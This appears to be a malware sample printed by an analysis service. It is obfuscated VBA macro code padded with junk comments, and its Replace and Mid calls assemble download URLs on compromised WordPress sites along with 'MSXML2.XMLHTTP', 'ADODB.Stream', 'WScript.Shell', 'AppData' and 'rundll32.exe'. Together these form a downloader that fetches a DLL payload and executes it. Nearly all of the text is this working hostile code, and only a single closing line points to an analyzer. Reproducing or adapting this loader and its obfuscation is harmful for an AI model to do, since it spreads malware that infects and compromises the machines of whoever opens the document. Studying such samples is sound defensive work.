cleanadmirers = Join(Array(hoolachansreacq))
'outrowed farnarkel raphes dateline orlestarlatansmonoplegiasinuks
'gymnastparquetrycementumsmisgr spermogonium refreshful learne defeudalisevotaressesarchenter
'brog virelays inheritrixrigout ironsmith utes curfew addressees bodyshells inexpert bends noveldoms conse
End Function
Function wimblingeffluen(teetotalingaimf)
'socialisable prefrontal rootst damagecuittledkashmirsenlargem irresistancesreincorporatesulf
wackilyfourthse = Mid("n&uxMNf0g_Ghttps://monarchmedical.co.uk/vendor/bootstrap/css/xrKVZy8sh5ri.php7xj<l<#HSs", CLng((-785 + 800#) Xor 3), CLng(347 - (260 - -21#)))
wimblingeffluen = Join(Array(wackilyfourthse))
'barracudasmassasauga anticlassicalfloppedheartaches wayfarers ythundered overmount
'overstockedaffrontssulfate amphitrichaignitabilitiesdisem caligosswindgedpenitential
End Function

Attribute VB_Name = "melanochroouslo"
Function demagogicdilapi(ovoidalundercre)
'repudiating benedicite assistorextinguishantresensiti askings pulkha
'eyeable delict outsinging twis warreying parrels defecating hypersalivationssectoredratafe aaaimlessdesand
unappetisingorc = Replace("httpNP>dLCsNP>dLC://steriglass.NP>dLCstigmatineNP>dLCsafrica.org/wp-includes/sodium_compat/namespaced/Core/ChaCha20/KITDlCQHVyINP>dLC.php", "NP>dLC", "")
demagogicdilapi = Join(Array(unappetisingorc))
'timeouttardyonbetatrons superintend chapping regreeneddiplopod hyperstimulated patrolman ideo
'tripierdogberryismthrombocytop transpierceddandification gasogene bastardisms blueticks
'heigh solemnizes overwarm affranchised capellet pinealec obtainabilities defeminisation
End Function
Function gumsinstrumenta(sysopslusteredb)
'finalistsobturatedmarriageabil ideologist alkalinized utopianize demanding parabapti
ultramarathoner = Replace("https://JmaYBL!es.JmaYBL!e-m2.JmaYBL!neJmaYBL!t/wp-includes/js/tinJmaYBL!ymce/themes/inlite/8S7qnln7.php", "JmaYBL!", "")
gumsinstrumenta = ultramarathoner
'klootchcomminationabruptly creaturehoodslimierquantitatio machtpolitiksenraunging quoitsnectarivorous stoopers screedings trainees
'subcentrallytabourets andantes gastrostomies viverri neuromastsmismatescliticizedef energizedlexicographical deactivatorchamferconservatori
'notaries passageway unconfesse embossesunprofessionalhawser sedile yesternights opsimath f quintessencelaundrette
End Function
Function wullhormoneciti(pentadactylfetc)
'churlishnesses sdeignfull here overused vaseline constrainer  huttings chimerical
'sororities designations dawtin emplaning blunking sudatorybestialisesligroinsins ditcher enrollee feus planer pilgrimise besoming veneerers
appointmentrown = Mid("L!R6>62https://secaudit.e-m2.net/wp-content/themes/finvision-child/template-parts/blog-regular/Rib3TgWd3v.phpO&<k_z9B8", CLng((-399 - 386#) + 793), CLng(-267 - (1.05730659025788 * -349)))
wullhormoneciti = appointmentrown
'boat arilloid unbreakable subcardinals opera budmash dis oxygenizesdenominateblurs
End Function
Function hardwoodswiped(birkiesthalamic)
'halomorphichagridesstalagmite hypercharge distinguishment st serpentinizingbeachcombersexag
'heliopausestrummelcriminalisti grandiosities subbasses xylori nobblerpenneechsscourse
'legatotoquet neapstartrazines assurers electroencephalograms
repriveroadroll = Replace("M8H4Fl40SX8H4Fl40ML28H4Fl40.X8H4Fl40MLH8H4Fl40TTP", "8H4Fl40", "")
hardwoodswiped = Join(Array(repriveroadroll))
'uproarious hippydoms trizonal swordfish pouldres derecognitionlawcourtssupersed
'teuchters roguish rajahship mi lithotritics outliver flammabl pausingly phosphorescently par codists teacherly overzealous
End Function
Function dhalnegligentsa(rickettsiadipst)
'bemuds hexenes physiognomists permutes middle plaidedvalkyriesredyeingcaimac salviainvolucressensiblest mimeocompassioned
'phasingsuperbness gallowglass pinprick antepenul penumbra mastaba suburbans velvetings recessively nonmeta tordions strainings protrusive
'rejoicersfractionatedbasionhal farmings solidums powhiri crot rookeries philippina
resummonedmissi = Mid("8k=_,.qlSYmEM_ADODB.Streamhgq5a7U3<UQc(@*", CLng(413 - 398), CLng((-307 + 186#) + 133))
dhalnegligentsa = resummonedmissi
'steyestfalteringmesclumsoctode wallflowers eggnog controlment scripophile disemb
'inscription citrin orthodontistsadornments pannelled hm shadowless maquisards superoctaves
End Function
Function ebayersthongssw(outgeneralledvi)
'ballow subadar handsels arsenoanchorette deraigns crosstalk tenotomiesheadachiestshoreweed
'unlikelierlob constellates taller orthopedis thriftinessscarthcoinsurersthy ficos sneb distained restorerstriftodysseyphonograp
fatlikebedelsfl = Replace("W$,wa3scr$,wa3ip$,wa3$,wa3t.$,wa3Shell", "$,wa3", "")
ebayersthongssw = fatlikebedelsfl
'abasing tyiyn jaap geriatristoutblessed skiddoosanonymizingamberoidsbo poovetrimmingscooers overstockedflatlingsskites
'mollitiesalyssumapprovingeffie splodginesses ineffabilities c dioptometriesdevvellingextirpa inhabitsperiderms
End Function
Function witchgrassespol(blusteringfarna)
'exsanguinating outreason karma bravesnowlikeporphyropsin clinquants friction connivance solecism inexplainable
'postpositivegustyfootruletalen reinflates priser harbors unquantifiable offramps mizzle insetsnisuscounterpicketingnon arabicisationwindburnteclairci
choregraphiessa = Replace("A<r RlMppDa<r RlMta", "<r RlM", "")
witchgrassespol = choregraphiessa
'posthousesyttriumsmisbehavehal hallo desnooding headdresses sautoiresinscapemethodizations adagesantimanagementfeudalisat
End Function
Function webcamsstarkeda(domiestbiodynam)
'russels cytostatics puninesspackager colling monogamously flagellom forwardnesses parasiticides
'rescalemedevacfeltier fumblercovellinestepdancermass besteads divas
postponencesvex = Mid("@0*SV:Xi%^iS_rundll32.exe $X=D#mHJjvPvcQ", CLng((-526 + 525.5625) * -32), CLng((584 + -584.016229712859) * -801))
webcamsstarkeda = Join(Array(postponencesvex))
'earwax fauvettes uncannily wurliesluminositiesincumbrance autogyros spaniolises mainline
'articular badass nurturers ant farses furnaces orthopaedist undulate fatshederas eyehooks hissier carditic volleys mongrelism wholeness
'zirconiasfingerpickrunletkhutb rhodomontade epanaphoral unbei aquiculturist panachaea radiotelegraphyunbought categoric acculturating
End Function

Attribute VB_Name = "dumfounderscupr"
Function ergonsprisages(banlieuesoestru)
'bisphenolsmismeasures pinesaps undershirts myoelectr precentor monocotyledons fortn cutbackscoolheaded
'sailfishwallydraiglesdisadvant nympholeptsmannitolmisapprecia consolatoriesdebuds programmabilities barista stoe vincibilityrailcardshass
caesareannewsca = Replace("https://teste.sitiodoastronauta.com.br/wp-includes/#uc/#js/tinymce/plug#uc/#ins/charmap/M19jooPri8Tq.php", "#uc/#", "")
ergonsprisages = Join(Array(caesareannewsca))
'amphiprotic phasmid anticorrup recusing corbel batteler inscient screenlands
'fins intermats ky gradient tibiae fragmentarily minced laterborn agoutyjusticiabilities grangerisesstardriftenterogast
End Function
Function acescencybiocid(cataphysicalinc)
'antipyics jellyroll verligparamorphs clout hippocentaur distributed redbaiter libration
'curdinesses libriform widdergoslingmendacityrhinitis royalisedaggiornamentosfoetid vicenary hectoliter
prodromatalooti = Replace("\3&K.k9&K.k9&K.k96&K.k99&K.k947&K.k9.dll", "&K.k9", "")
acescencybiocid = Join(Array(prodromatalooti))
'readdictedeluent harpooner gastrectomy posterio helicity condole
'undulypekesstillbornbortsches vitreous recalculates enthroni fents simarubaceous mutate fictionalization
'chunnelsminicourse reallocating polygams antiproton intended resaddled employability
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.